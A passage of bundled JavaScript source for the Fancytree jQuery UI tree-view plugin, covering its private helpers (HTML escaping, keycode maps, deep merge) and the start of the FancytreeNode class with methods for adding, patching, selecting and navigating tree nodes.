		(__WEBPACK_AMD_DEFINE_FACTORY__.apply(exports, __WEBPACK_AMD_DEFINE_ARRAY__)) : __WEBPACK_AMD_DEFINE_FACTORY__),
		__WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
	} else {}
})(function ($) {
	"use strict";

	// prevent duplicate loading
	if ($.ui && $.ui.fancytree) {
		$.ui.fancytree.warn("Fancytree: ignored duplicate include");
		return;
	}

	/******************************************************************************
	 * Private functions and variables
	 */

	var i,
		attr,
		FT = null, // initialized below
		TEST_IMG = new RegExp(/\.|\//), // strings are considered image urls if they contain '.' or '/'
		REX_HTML = /[&<>"'/]/g, // Escape those characters
		REX_TOOLTIP = /[<>"'/]/g, // Don't escape `&` in tooltips
		RECURSIVE_REQUEST_ERROR = "$recursive_request",
		INVALID_REQUEST_TARGET_ERROR = "$request_target_invalid",
		ENTITY_MAP = {
			"&": "&amp;",
			"<": "&lt;",
			">": "&gt;",
			'"': "&quot;",
			"'": "&#39;",
			"/": "&#x2F;",
		},
		IGNORE_KEYCODES = { 16: true, 17: true, 18: true },
		SPECIAL_KEYCODES = {
			8: "backspace",
			9: "tab",
			10: "return",
			13: "return",
			// 16: null, 17: null, 18: null,  // ignore shift, ctrl, alt
			19: "pause",
			20: "capslock",
			27: "esc",
			32: "space",
			33: "pageup",
			34: "pagedown",
			35: "end",
			36: "home",
			37: "left",
			38: "up",
			39: "right",
			40: "down",
			45: "insert",
			46: "del",
			59: ";",
			61: "=",
			// 91: null, 93: null,  // ignore left and right meta
			96: "0",
			97: "1",
			98: "2",
			99: "3",
			100: "4",
			101: "5",
			102: "6",
			103: "7",
			104: "8",
			105: "9",
			106: "*",
			107: "+",
			109: "-",
			110: ".",
			111: "/",
			112: "f1",
			113: "f2",
			114: "f3",
			115: "f4",
			116: "f5",
			117: "f6",
			118: "f7",
			119: "f8",
			120: "f9",
			121: "f10",
			122: "f11",
			123: "f12",
			144: "numlock",
			145: "scroll",
			173: "-",
			186: ";",
			187: "=",
			188: ",",
			189: "-",
			190: ".",
			191: "/",
			192: "`",
			219: "[",
			220: "\\",
			221: "]",
			222: "'",
		},
		MODIFIERS = {
			16: "shift",
			17: "ctrl",
			18: "alt",
			91: "meta",
			93: "meta",
		},
		MOUSE_BUTTONS = { 0: "", 1: "left", 2: "middle", 3: "right" },
		// Boolean attributes that can be set with equivalent class names in the LI tags
		// Note: v2.23: checkbox and hideCheckbox are *not* in this list
		CLASS_ATTRS =
			"active expanded focus folder lazy radiogroup selected unselectable unselectableIgnore".split(
				" "
			),
		CLASS_ATTR_MAP = {},
		// Top-level Fancytree attributes, that can be set by dict
		TREE_ATTRS = "columns types".split(" "),
		// TREE_ATTR_MAP = {},
		// Top-level FancytreeNode attributes, that can be set by dict
		NODE_ATTRS =
			"checkbox expanded extraClasses folder icon iconTooltip key lazy partsel radiogroup refKey selected statusNodeType title tooltip type unselectable unselectableIgnore unselectableStatus".split(
				" "
			),
		NODE_ATTR_MAP = {},
		// Mapping of lowercase -> real name (because HTML5 data-... attribute only supports lowercase)
		NODE_ATTR_LOWERCASE_MAP = {},
		// Attribute names that should NOT be added to node.data
		NONE_NODE_DATA_MAP = {
			active: true,
			children: true,
			data: true,
			focus: true,
		};

	for (i = 0; i < CLASS_ATTRS.length; i++) {
		CLASS_ATTR_MAP[CLASS_ATTRS[i]] = true;
	}
	for (i = 0; i < NODE_ATTRS.length; i++) {
		attr = NODE_ATTRS[i];
		NODE_ATTR_MAP[attr] = true;
		if (attr !== attr.toLowerCase()) {
			NODE_ATTR_LOWERCASE_MAP[attr.toLowerCase()] = attr;
		}
	}
	// for(i=0; i<TREE_ATTRS.length; i++) {
	// 	TREE_ATTR_MAP[TREE_ATTRS[i]] = true;
	// }

	function _assert(cond, msg) {
		// TODO: see qunit.js extractStacktrace()
		if (!cond) {
			msg = msg ? ": " + msg : "";
			msg = "Fancytree assertion failed" + msg;

			// consoleApply("assert", [!!cond, msg]);

			// #1041: Raised exceptions may not be visible in the browser
			// console if inside promise chains, so we also print directly:
			$.ui.fancytree.error(msg);

			// Throw exception:
			$.error(msg);
		}
	}

	function _hasProp(object, property) {
		return Object.prototype.hasOwnProperty.call(object, property);
	}

	/* Replacement for the deprecated `jQuery.isFunction()`. */
	function _isFunction(obj) {
		return typeof obj === "function";
	}

	/* Replacement for the deprecated `jQuery.trim()`. */
	function _trim(text) {
		return text == null ? "" : text.trim();
	}

	/* Replacement for the deprecated `jQuery.isArray()`. */
	var _isArray = Array.isArray;

	_assert($.ui, "Fancytree requires jQuery UI (http://jqueryui.com)");

	function consoleApply(method, args) {
		var i,
			s,
			fn = window.console ? window.console[method] : null;

		if (fn) {
			try {
				fn.apply(window.console, args);
			} catch (e) {
				// IE 8?
				s = "";
				for (i = 0; i < args.length; i++) {
					s += args[i];
				}
				fn(s);
			}
		}
	}

	/* support: IE8 Polyfil for Date.now() */
	if (!Date.now) {
		Date.now = function now() {
			return new Date().getTime();
		};
	}

	/*Return true if x is a FancytreeNode.*/
	function _isNode(x) {
		return !!(x.tree && x.statusNodeType !== undefined);
	}

	/** Return true if dotted version string is equal or higher than requested version.
	 *
	 * See http://jsfiddle.net/mar10/FjSAN/
	 */
	function isVersionAtLeast(dottedVersion, major, minor, patch) {
		var i,
			v,
			t,
			verParts = $.map(_trim(dottedVersion).split("."), function (e) {
				return parseInt(e, 10);
			}),
			testParts = $.map(
				Array.prototype.slice.call(arguments, 1),
				function (e) {
					return parseInt(e, 10);
				}
			);

		for (i = 0; i < testParts.length; i++) {
			v = verParts[i] || 0;
			t = testParts[i] || 0;
			if (v !== t) {
				return v > t;
			}
		}
		return true;
	}

	/**
	 * Deep-merge a list of objects (but replace array-type options).
	 *
	 * jQuery's $.extend(true, ...) method does a deep merge, that also merges Arrays.
	 * This variant is used to merge extension defaults with user options, and should
	 * merge objects, but override arrays (for example the `triggerStart: [...]` option
	 * of ext-edit). Also `null` values are copied over and not skipped.
	 *
	 * See issue #876
	 *
	 * Example:
	 * _simpleDeepMerge({}, o1, o2);
	 */
	function _simpleDeepMerge() {
		var options,
			name,
			src,
			copy,
			clone,
			target = arguments[0] || {},
			i = 1,
			length = arguments.length;

		// Handle case when target is a string or something (possible in deep copy)
		if (typeof target !== "object" && !_isFunction(target)) {
			target = {};
		}
		if (i === length) {
			throw Error("need at least two args");
		}
		for (; i < length; i++) {
			// Only deal with non-null/undefined values
			if ((options = arguments[i]) != null) {
				// Extend the base object
				for (name in options) {
					if (_hasProp(options, name)) {
						src = target[name];
						copy = options[name];
						// Prevent never-ending loop
						if (target === copy) {
							continue;
						}
						// Recurse if we're merging plain objects
						// (NOTE: unlike $.extend, we don't merge arrays, but replace them)
						if (copy && $.isPlainObject(copy)) {
							clone = src && $.isPlainObject(src) ? src : {};
							// Never move original objects, clone them
							target[name] = _simpleDeepMerge(clone, copy);
							// Don't bring in undefined values
						} else if (copy !== undefined) {
							target[name] = copy;
						}
					}
				}
			}
		}
		// Return the modified object
		return target;
	}

	/** Return a wrapper that calls sub.methodName() and exposes
	 *  this             : tree
	 *  this._local      : tree.ext.EXTNAME
	 *  this._super      : base.methodName.call()
	 *  this._superApply : base.methodName.apply()
	 */
	function _makeVirtualFunction(methodName, tree, base, extension, extName) {
		// $.ui.fancytree.debug("_makeVirtualFunction", methodName, tree, base, extension, extName);
		// if(rexTestSuper && !rexTestSuper.test(func)){
		//     // extension.methodName() doesn't call _super(), so no wrapper required
		//     return func;
		// }
		// Use an immediate function as closure
		var proxy = (function () {
			var prevFunc = tree[methodName], // org. tree method or prev. proxy
				baseFunc = extension[methodName], //
				_local = tree.ext[extName],
				_super = function () {
					return prevFunc.apply(tree, arguments);
				},
				_superApply = function (args) {
					return prevFunc.apply(tree, args);
				};

			// Return the wrapper function
			return function () {
				var prevLocal = tree._local,
					prevSuper = tree._super,
					prevSuperApply = tree._superApply;

				try {
					tree._local = _local;
					tree._super = _super;
					tree._superApply = _superApply;
					return baseFunc.apply(tree, arguments);
				} finally {
					tree._local = prevLocal;
					tree._super = prevSuper;
					tree._superApply = prevSuperApply;
				}
			};
		})(); // end of Immediate Function
		return proxy;
	}

	/**
	 * Subclass `base` by creating proxy functions
	 */
	function _subclassObject(tree, base, extension, extName) {
		// $.ui.fancytree.debug("_subclassObject", tree, base, extension, extName);
		for (var attrName in extension) {
			if (typeof extension[attrName] === "function") {
				if (typeof tree[attrName] === "function") {
					// override existing method
					tree[attrName] = _makeVirtualFunction(
						attrName,
						tree,
						base,
						extension,
						extName
					);
				} else if (attrName.charAt(0) === "_") {
					// Create private methods in tree.ext.EXTENSION namespace
					tree.ext[extName][attrName] = _makeVirtualFunction(
						attrName,
						tree,
						base,
						extension,
						extName
					);
				} else {
					$.error(
						"Could not override tree." +
							attrName +
							". Use prefix '_' to create tree." +
							extName +
							"._" +
							attrName
					);
				}
			} else {
				// Create member variables in tree.ext.EXTENSION namespace
				if (attrName !== "options") {
					tree.ext[extName][attrName] = extension[attrName];
				}
			}
		}
	}

	function _getResolvedPromise(context, argArray) {
		if (context === undefined) {
			return $.Deferred(function () {
				this.resolve();
			}).promise();
		}
		return $.Deferred(function () {
			this.resolveWith(context, argArray);
		}).promise();
	}

	function _getRejectedPromise(context, argArray) {
		if (context === undefined) {
			return $.Deferred(function () {
				this.reject();
			}).promise();
		}
		return $.Deferred(function () {
			this.rejectWith(context, argArray);
		}).promise();
	}

	function _makeResolveFunc(deferred, context) {
		return function () {
			deferred.resolveWith(context);
		};
	}

	function _getElementDataAsDict($el) {
		// Evaluate 'data-NAME' attributes with special treatment for 'data-json'.
		var d = $.extend({}, $el.data()),
			json = d.json;

		delete d.fancytree; // added to container by widget factory (old jQuery UI)
		delete d.uiFancytree; // added to container by widget factory

		if (json) {
			delete d.json;
			// <li data-json='...'> is already returned as object (http://api.jquery.com/data/#data-html5)
			d = $.extend(d, json);
		}
		return d;
	}

	function _escapeTooltip(s) {
		return ("" + s).replace(REX_TOOLTIP, function (s) {
			return ENTITY_MAP[s];
		});
	}

	// TODO: use currying
	function _makeNodeTitleMatcher(s) {
		s = s.toLowerCase();
		return function (node) {
			return node.title.toLowerCase().indexOf(s) >= 0;
		};
	}

	function _makeNodeTitleStartMatcher(s) {
		var reMatch = new RegExp("^" + s, "i");
		return function (node) {
			return reMatch.test(node.title);
		};
	}

	/******************************************************************************
	 * FancytreeNode
	 */

	/**
	 * Creates a new FancytreeNode
	 *
	 * @class FancytreeNode
	 * @classdesc A FancytreeNode represents the hierarchical data model and operations.
	 *
	 * @param {FancytreeNode} parent
	 * @param {NodeData} obj
	 *
	 * @property {Fancytree} tree The tree instance
	 * @property {FancytreeNode} parent The parent node
	 * @property {string} key Node id (must be unique inside the tree)
	 * @property {string} title Display name (may contain HTML)
	 * @property {object} data Contains all extra data that was passed on node creation
	 * @property {FancytreeNode[] | null | undefined} children Array of child nodes.<br>
	 *     For lazy nodes, null or undefined means 'not yet loaded'. Use an empty array
	 *     to define a node that has no children.
	 * @property {boolean} expanded Use isExpanded(), setExpanded() to access this property.
	 * @property {string} extraClasses Additional CSS classes, added to the node's `<span>`.<br>
	 *     Note: use `node.add/remove/toggleClass()` to modify.
	 * @property {boolean} folder Folder nodes have different default icons and click behavior.<br>
	 *     Note: Also non-folders may have children.
	 * @property {string} statusNodeType null for standard nodes. Otherwise type of special system node: 'error', 'loading', 'nodata', or 'paging'.
	 * @property {boolean} lazy True if this node is loaded on demand, i.e. on first expansion.
	 * @property {boolean} selected Use isSelected(), setSelected() to access this property.
	 * @property {string} tooltip Alternative description used as hover popup
	 * @property {string} iconTooltip Description used as hover popup for icon. @since 2.27
	 * @property {string} type Node type, used with tree.types map. @since 2.27
	 */
	function FancytreeNode(parent, obj) {
		var i, l, name, cl;

		this.parent = parent;
		this.tree = parent.tree;
		this.ul = null;
		this.li = null; // <li id='key' ftnode=this> tag
		this.statusNodeType = null; // if this is a temp. node to display the status of its parent
		this._isLoading = false; // if this node itself is loading
		this._error = null; // {message: '...'} if a load error occurred
		this.data = {};

		// TODO: merge this code with node.toDict()
		// copy attributes from obj object
		for (i = 0, l = NODE_ATTRS.length; i < l; i++) {
			name = NODE_ATTRS[i];
			this[name] = obj[name];
		}
		// unselectableIgnore and unselectableStatus imply unselectable
		if (
			this.unselectableIgnore != null ||
			this.unselectableStatus != null
		) {
			this.unselectable = true;
		}
		if (obj.hideCheckbox) {
			$.error(
				"'hideCheckbox' node option was removed in v2.23.0: use 'checkbox: false'"
			);
		}
		// node.data += obj.data
		if (obj.data) {
			$.extend(this.data, obj.data);
		}
		// Copy all other attributes to this.data.NAME
		for (name in obj) {
			if (
				!NODE_ATTR_MAP[name] &&
				(this.tree.options.copyFunctionsToData ||
					!_isFunction(obj[name])) &&
				!NONE_NODE_DATA_MAP[name]
			) {
				// node.data.NAME = obj.NAME
				this.data[name] = obj[name];
			}
		}

		// Fix missing key
		if (this.key == null) {
			// test for null OR undefined
			if (this.tree.options.defaultKey) {
				this.key = "" + this.tree.options.defaultKey(this);
				_assert(this.key, "defaultKey() must return a unique key");
			} else {
				this.key = "_" + FT._nextNodeKey++;
			}
		} else {
			this.key = "" + this.key; // Convert to string (#217)
		}

		// Fix tree.activeNode
		// TODO: not elegant: we use obj.active as marker to set tree.activeNode
		// when loading from a dictionary.
		if (obj.active) {
			_assert(
				this.tree.activeNode === null,
				"only one active node allowed"
			);
			this.tree.activeNode = this;
		}
		if (obj.selected) {
			// #186
			this.tree.lastSelectedNode = this;
		}
		// TODO: handle obj.focus = true

		// Create child nodes
		cl = obj.children;
		if (cl) {
			if (cl.length) {
				this._setChildren(cl);
			} else {
				// if an empty array was passed for a lazy node, keep it, in order to mark it 'loaded'
				this.children = this.lazy ? [] : null;
			}
		} else {
			this.children = null;
		}
		// Add to key/ref map (except for root node)
		//	if( parent ) {
		this.tree._callHook("treeRegisterNode", this.tree, true, this);
		//	}
	}

	FancytreeNode.prototype = /** @lends FancytreeNode# */ {
		/* Return the direct child FancytreeNode with a given key, index. */
		_findDirectChild: function (ptr) {
			var i,
				l,
				cl = this.children;

			if (cl) {
				if (typeof ptr === "string") {
					for (i = 0, l = cl.length; i < l; i++) {
						if (cl[i].key === ptr) {
							return cl[i];
						}
					}
				} else if (typeof ptr === "number") {
					return this.children[ptr];
				} else if (ptr.parent === this) {
					return ptr;
				}
			}
			return null;
		},
		// TODO: activate()
		// TODO: activateSilently()
		/* Internal helper called in recursive addChildren sequence.*/
		_setChildren: function (children) {
			_assert(
				children && (!this.children || this.children.length === 0),
				"only init supported"
			);
			this.children = [];
			for (var i = 0, l = children.length; i < l; i++) {
				this.children.push(new FancytreeNode(this, children[i]));
			}
			this.tree._callHook(
				"treeStructureChanged",
				this.tree,
				"setChildren"
			);
		},
		/**
		 * Append (or insert) a list of child nodes.
		 *
		 * @param {NodeData[]} children array of child node definitions (also single child accepted)
		 * @param {FancytreeNode | string | Integer} [insertBefore] child node (or key or index of such).
		 *     If omitted, the new children are appended.
		 * @returns {FancytreeNode} first child added
		 *
		 * @see FancytreeNode#applyPatch
		 */
		addChildren: function (children, insertBefore) {
			var i,
				l,
				pos,
				origFirstChild = this.getFirstChild(),
				origLastChild = this.getLastChild(),
				firstNode = null,
				nodeList = [];

			if ($.isPlainObject(children)) {
				children = [children];
			}
			if (!this.children) {
				this.children = [];
			}
			for (i = 0, l = children.length; i < l; i++) {
				nodeList.push(new FancytreeNode(this, children[i]));
			}
			firstNode = nodeList[0];
			if (insertBefore == null) {
				this.children = this.children.concat(nodeList);
			} else {
				// Returns null if insertBefore is not a direct child:
				insertBefore = this._findDirectChild(insertBefore);
				pos = $.inArray(insertBefore, this.children);
				_assert(pos >= 0, "insertBefore must be an existing child");
				// insert nodeList after children[pos]
				this.children.splice.apply(
					this.children,
					[pos, 0].concat(nodeList)
				);
			}
			if (origFirstChild && !insertBefore) {
				// #708: Fast path -- don't render every child of root, just the new ones!
				// #723, #729: but only if it's appended to an existing child list
				for (i = 0, l = nodeList.length; i < l; i++) {
					nodeList[i].render(); // New nodes were never rendered before
				}
				// Adjust classes where status may have changed
				// Has a first child
				if (origFirstChild !== this.getFirstChild()) {
					// Different first child -- recompute classes
					origFirstChild.renderStatus();
				}
				if (origLastChild !== this.getLastChild()) {
					// Different last child -- recompute classes
					origLastChild.renderStatus();
				}
			} else if (!this.parent || this.parent.ul || this.tr) {
				// render if the parent was rendered (or this is a root node)
				this.render();
			}
			if (this.tree.options.selectMode === 3) {
				this.fixSelection3FromEndNodes();
			}
			this.triggerModifyChild(
				"add",
				nodeList.length === 1 ? nodeList[0] : null
			);
			return firstNode;
		},
		/**
		 * Add class to node's span tag and to .extraClasses.
		 *
		 * @param {string} className class name
		 *
		 * @since 2.17
		 */
		addClass: function (className) {
			return this.toggleClass(className, true);
		},
		/**
		 * Append or prepend a node, or append a child node.
		 *
		 * This a convenience function that calls addChildren()
		 *
		 * @param {NodeData} node node definition
		 * @param {string} [mode=child] 'before', 'after', 'firstChild', or 'child' ('over' is a synonym for 'child')
		 * @returns {FancytreeNode} new node
		 */
		addNode: function (node, mode) {
			if (mode === undefined || mode === "over") {
				mode = "child";
			}
			switch (mode) {
				case "after":
					return this.getParent().addChildren(
						node,
						this.getNextSibling()
					);
				case "before":
					return this.getParent().addChildren(node, this);
				case "firstChild":
					// Insert before the first child if any
					var insertBefore = this.children ? this.children[0] : null;
					return this.addChildren(node, insertBefore);
				case "child":
				case "over":
					return this.addChildren(node);
			}
			_assert(false, "Invalid mode: " + mode);
		},
		/**Add child status nodes that indicate 'More...', etc.
		 *
		 * This also maintains the node's `partload` property.
		 * @param {boolean|object} node optional node definition. Pass `false` to remove all paging nodes.
		 * @param {string} [mode='child'] 'child'|firstChild'
		 * @since 2.15
		 */
		addPagingNode: function (node, mode) {
			var i, n;

			mode = mode || "child";
			if (node === false) {
				for (i = this.children.length - 1; i >= 0; i--) {
					n = this.children[i];
					if (n.statusNodeType === "paging") {
						this.removeChild(n);
					}
				}
				this.partload = false;
				return;
			}
			node = $.extend(
				{
					title: this.tree.options.strings.moreData,
					statusNodeType: "paging",
					icon: false,
				},
				node
			);
			this.partload = true;
			return this.addNode(node, mode);
		},
		/**
		 * Append new node after this.
		 *
		 * This a convenience function that calls addNode(node, 'after')
		 *
		 * @param {NodeData} node node definition
		 * @returns {FancytreeNode} new node
		 */
		appendSibling: function (node) {
			return this.addNode(node, "after");
		},
		/**
		 * (experimental) Apply a modification (or navigation) operation.
		 *
		 * @param {string} cmd
		 * @param {object} [opts]
		 * @see Fancytree#applyCommand
		 * @since 2.32
		 */
		applyCommand: function (cmd, opts) {
			return this.tree.applyCommand(cmd, this, opts);
		},
		/**
		 * Modify existing child nodes.
		 *
		 * @param {NodePatch} patch
		 * @returns {$.Promise}
		 * @see FancytreeNode#addChildren
		 */
		applyPatch: function (patch) {
			// patch [key, null] means 'remove'
			if (patch === null) {
				this.remove();
				return _getResolvedPromise(this);
			}
			// TODO: make sure that root node is not collapsed or modified
			// copy (most) attributes to node.ATTR or node.data.ATTR
			var name,
				promise,
				v,
				IGNORE_MAP = { children: true, expanded: true, parent: true }; // TODO: should be global

			for (name in patch) {
				if (_hasProp(patch, name)) {
					v = patch[name];
					if (!IGNORE_MAP[name] && !_isFunction(v)) {
						if (NODE_ATTR_MAP[name]) {
							this[name] = v;
						} else {
							this.data[name] = v;
						}
					}
				}
			}
			// Remove and/or create children
			if (_hasProp(patch, "children")) {
				this.removeChildren();
				if (patch.children) {
					// only if not null and not empty list
					// TODO: addChildren instead?
					this._setChildren(patch.children);
				}
				// TODO: how can we APPEND or INSERT child nodes?
			}
			if (this.isVisible()) {
				this.renderTitle();
				this.renderStatus();
			}
			// Expand collapse (final step, since this may be async)
			if (_hasProp(patch, "expanded")) {
				promise = this.setExpanded(patch.expanded);
			} else {
				promise = _getResolvedPromise(this);
			}
			return promise;
		},
		/** Collapse all sibling nodes.
		 * @returns {$.Promise}
		 */
		collapseSiblings: function () {
			return this.tree._callHook("nodeCollapseSiblings", this);
		},
		/** Copy this node as sibling or child of `node`.
		 *
		 * @param {FancytreeNode} node source node
		 * @param {string} [mode=child] 'before' | 'after' | 'child'
		 * @param {Function} [map] callback function(NodeData, FancytreeNode) that could modify the new node
		 * @returns {FancytreeNode} new
		 */
		copyTo: function (node, mode, map) {
			return node.addNode(this.toDict(true, map), mode);
		},
		/** Count direct and indirect children.
		 *
		 * @param {boolean} [deep=true] pass 'false' to only count direct children
		 * @returns {int} number of child nodes
		 */
		countChildren: function (deep) {
			var cl = this.children,
				i,
				l,
				n;
			if (!cl) {
				return 0;
			}
			n = cl.length;
			if (deep !== false) {
				for (i = 0, l = n; i < l; i++) {
					n += cl[i].countChildren();
				}
			}
			return n;
		},
		// TODO: deactivate()
		/** Write to browser console if debugLevel >= 4 (prepending node info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		debug: function (msg) {
			if (this.tree.options.debugLevel >= 4) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("log", arguments);
			}
		},
		/** Deprecated.
		 * @deprecated since 2014-02-16. Use resetLazy() instead.
		 */
		discard: function () {
			this.warn(
				"FancytreeNode.discard() is deprecated since 2014-02-16. Use .resetLazy() instead."
			);
			return this.resetLazy();
		},
		/** Remove DOM elements for all descendents. May be called on .collapse event
		 * to keep the DOM small.
		 * @param {boolean} [includeSelf=false]
		 */
		discardMarkup: function (includeSelf) {
			var fn = includeSelf ? "nodeRemoveMarkup" : "nodeRemoveChildMarkup";
			this.tree._callHook(fn, this);
		},
		/** Write error to browser console if debugLevel >= 1 (prepending tree info)
		 *
		 * @param {*} msg string or object or array of such
		 */
		error: function (msg) {
			if (this.tree.options.debugLevel >= 1) {
				Array.prototype.unshift.call(arguments, this.toString());
				consoleApply("error", arguments);
			}
		},
		/**Find all nodes that match condition (excluding self).
		 *
		 * @param {string | function(node)} match title string to search for, or a
		 *     callback function that returns `true` if a node is matched.
		 * @returns {FancytreeNode[]} array of nodes (may be empty)
		 */
		findAll: function (match) {
			match = _isFunction(match) ? match : _makeNodeTitleMatcher(match);
			var res = [];
			this.visit(function (n) {
				if (match(n)) {
					res.push(n);
				}
			});
			return res;
		},
		/**Find first node that matches condition (excluding self).
		 *
		 * @param {string | function(node)} match title string to search for, or a
		 *     callback function that returns `true` if a node is matched.
		 * @returns {FancytreeNode} matching node or null
		 * @see FancytreeNode#findAll
		 */
		findFirst: function (match) {
			match = _isFunction(match) ? match : _makeNodeTitleMatcher(match);
			var res = null;
			this.visit(function (n) {
				if (match(n)) {
					res = n;
					return false;
				}
			});
			return res;
		},
		/** Find a node relative to self.
		 *
		 * @param {number|string} where The keyCode that would normally trigger this move,
		 *		or a keyword ('down', 'first', 'last', 'left', 'parent', 'right', 'up').
		 * @returns {FancytreeNode}
		 * @since v2.31
		 */
		findRelatedNode: function (where, includeHidden) {
			return this.tree.findRelatedNode(this, where, includeHidden);
		},
		/* Apply selection state (internal use only) */
		_changeSelectStatusAttrs: function (state) {
			var changed = false,
				opts = this.tree.options,
				unselectable = FT.evalOption(
					"unselectable",
					this,
					this,
					opts,
					false
				),
				unselectableStatus = FT.evalOption(
					"unselectableStatus",
					this,
					this,
					opts,
					undefined
				);

			if (unselectable && unselectableStatus != null) {
				state = unselectableStatus;
			}
			switch (state) {
				case false:
					changed = this.selected || this.partsel;
					this.selected = false;
					this.partsel = false;
					break;
				case true:
					changed = !this.selected || !this.partsel;
					this.selected = true;
					this.partsel = true;
					break;
				case undefined:
					changed = this.selected || !this.partsel;
					this.selected = false;
					this.partsel = true;
					break;
				default:
					_assert(false, "invalid state: " + state);
			}
			// this.debug("fixSelection3AfterLoad() _changeSelectStatusAttrs()", state, changed);
			if (changed) {
				this.renderStatus();
			}
			return changed;
		},
		/**
		 * Fix selection status, after this node was (de)selected in multi-hier mode.
		 * This includes (de)selecting all children.
		 */
		fixSelection3AfterClick: function (callOpts) {
			var flag = this.isSelected();

			// this.debug("fixSelection3AfterClick()");

			this.visit(function (node) {
				node._changeSelectStatusAttrs(flag);
				if (node.radiogroup) {
					// #931: don't (de)select this branch
					return "skip";
				}
			});
			this.fixSelection3FromEndNodes(callOpts);
		},
		/**
		 * Fix selection status for multi-hier mode.
		 * Only end-nodes are considered to update the descendants branch and parents.
		 * Should be called after this node has loaded new children or after
		 * children have been modified using the API.
		 */
		fixSelection3FromEndNodes: function (callOpts) {
			var opts = this.tree.options;

			// this.debug("fixSelection3FromEndNodes()");
			_assert(opts.selectMode === 3, "expected selectMode 3");

			// Visit all end nodes and adjust their parent's `selected` and `partsel`
			// attributes. Return selection state true, false, or undefined.
			function _walk(node) {
				var i,
					l,
					child,
					s,
					state,
					allSelected,
					someSelected,
					unselIgnore,
					unselState,
					children = node.children;

				if (children && children.length) {
					// check all children recursively
					allSelected = true;
					someSelected = false;

					for (i = 0, l = children.length; i < l; i++) {
						child = children[i];
						// the selection state of a node is not relevant; we need the end-nodes
						s = _walk(child);
						// if( !child.unselectableIgnore ) {
						unselIgnore = FT.evalOption(
							"unselectableIgnore",
							child,
							child,
							opts,
							false
						);
						if (!unselIgnore) {
							if (s !== false) {
								someSelected = true;
							}
							if (s !== true) {
								allSelected = false;
							}
						}
					}
					// eslint-disable-next-line no-nested-ternary
					state = allSelected
						? true
						: someSelected
						? undefined
						: false;
				} else {
					// This is an end-node: simply report the status
					unselState = FT.evalOption(
						"unselectableStatus",
						node,
						node,
						opts,
						undefined
					);
					state = unselState == null ? !!node.selected : !!unselState;
				}
				// #939: Keep a `partsel` flag that was explicitly set on a lazy node
				if (
					node.partsel &&
					!node.selected &&
					node.lazy &&
					node.children == null
				) {
					state = undefined;
				}
				node._changeSelectStatusAttrs(state);
				return state;
			}
			_walk(this);

			// Update parent's state
			this.visitParents(function (node) {
				var i,
					l,
					child,
					state,
					unselIgnore,
					unselState,
					children = node.children,
					allSelected = true,
					someSelected = false;

				for (i = 0, l = children.length; i < l; i++) {
					child = children[i];
					unselIgnore = FT.evalOption(
						"unselectableIgnore",
						child,
						child,
						opts,
						false
					);
					if (!unselIgnore) {
						unselState = FT.evalOption(
							"unselectableStatus",
							child,
							child,
							opts,
							undefined
						);
						state =
							unselState == null
								? !!child.selected
								: !!unselState;
						// When fixing the parents, we trust the sibling status (i.e.
						// we don't recurse)
						if (state || child.partsel) {
							someSelected = true;
						}
						if (!state) {
							allSelected = false;
						}
					}
				}
				// eslint-disable-next-line no-nested-ternary
				state = allSelected ? true : someSelected ? undefined : false;
				node._changeSelectStatusAttrs(state);
			});
		},
		// TODO: focus()
		/**
		 * Update node data. If dict contains 'children', then also replace
		 * the hole sub tree.
		 * @param {NodeData} dict
		 *
		 * @see FancytreeNode#addChildren
		 * @see FancytreeNode#applyPatch
		 */
		fromDict: function (dict) {
			// copy all other attributes to this.data.xxx
			for (var name in dict) {
				if (NODE_ATTR_MAP[name]) {
					// node.NAME = dict.NAME
					this[name] = dict[name];
				} else if (name === "data") {
					// node.data += dict.data
					$.extend(this.data, dict.data);
				} else if (
					!_isFunction(dict[name]) &&
					!NONE_NODE_DATA_MAP[name]
				) {
					// node.data.NAME = dict.NAME
					this.data[name] = dict[name];
				}
			}
			if (dict.children) {
				// recursively set children and render
				this.removeChildren();
				this.addChildren(dict.children);
			}
			this.renderTitle();
			/*
			var children = dict.children;
			if(children === undefined){
				this.data = $.extend(this.data, dict);
				this.render();
				return;
			}
			dict = $.extend({}, dict);
			dict.children = undefined;
			this.data = $.extend(this.data, dict);
			this.removeChildren();
			this.addChild(children);
			*/
		},
		/** Return the list of child nodes (undefined for unexpanded lazy nodes).
		 * @returns {FancytreeNode[] | undefined}
		 */
		getChildren: function () {
			if (this.hasChildren() === undefined) {
				// TODO: only required for lazy nodes?
				return undefined; // Lazy node: unloaded, currently loading, or load error
			}
			return this.children;
		},
		/** Return the first child node or null.
		 * @returns {FancytreeNode | null}
		 */
		getFirstChild: function () {
			return this.children ? this.children[0] : null;
		},
		/** Return the 0-based child index.
		 * @returns {int}
		 */
		getIndex: function () {
			// return this.parent.children.indexOf(this);
			return $.inArray(this, this.parent.children); // indexOf doesn't work in IE7
		},
		/** Return the hierarchical child index (1-based, e.g. '3.2.4').
		 * @param {string} [separator="."]
		 * @param {int} [digits=1]
		 * @returns {string}
		 */
		getIndexHier: function (separator, digits) {
			separator = separator || ".";
			var s,
				res = [];
			$.each(this.getParentList(false, true), function (i, o) {
				s = "" + (o.getIndex() + 1);
				if (digits) {
					// prepend leading zeroes
					s = ("0000000" + s).substr(-digits);
				}
				res.push(s);
			});
			return res.join(separator);
		},
		/** Return the parent keys separated by options.keyPathSeparator, e.g. "/id_1/id_17/id_32".
		 *
		 * (Unlike `node.getPath()`, this method prepends a "/" and inverts the first argument.)
		 *
		 * @see FancytreeNode#getPath
		 * @param {boolean} [excludeSelf=false]
		 * @returns {string}
		 */
		getKeyPath: function (excludeSelf) {
			var sep = this.tree.options.keyPathSeparator;

			return sep + this.getPath(!excludeSelf, "key", sep);
		},
		/** Return the last child of this node or null.
		 * @returns {FancytreeNode | null}
		 */
		getLastChild: function () {
			return this.children
				? this.children[this.children.length - 1]
				: null;
		},
		/** Return node depth. 0: System root node, 1: visible top-level node, 2: first sub-level, ... .
		 * @returns {int}
		 */
		getLevel: function () {
			var level = 0,
				dtn = this.parent;
			while (dtn) {
				level++;
				dtn = dtn.parent;
			}
			return level;
		},
		/** Return the successor node (under the same parent) or null.
		 * @returns {FancytreeNode | null}
		 */
		getNextSibling: function () {
			// TODO: use indexOf, if available: (not in IE6)
			if (this.parent) {
				var i,
					l,
					ac = this.parent.children;

				for (i = 0, l = ac.length - 1; i < l; i++) {
					// up to length-2, so next(last) = null
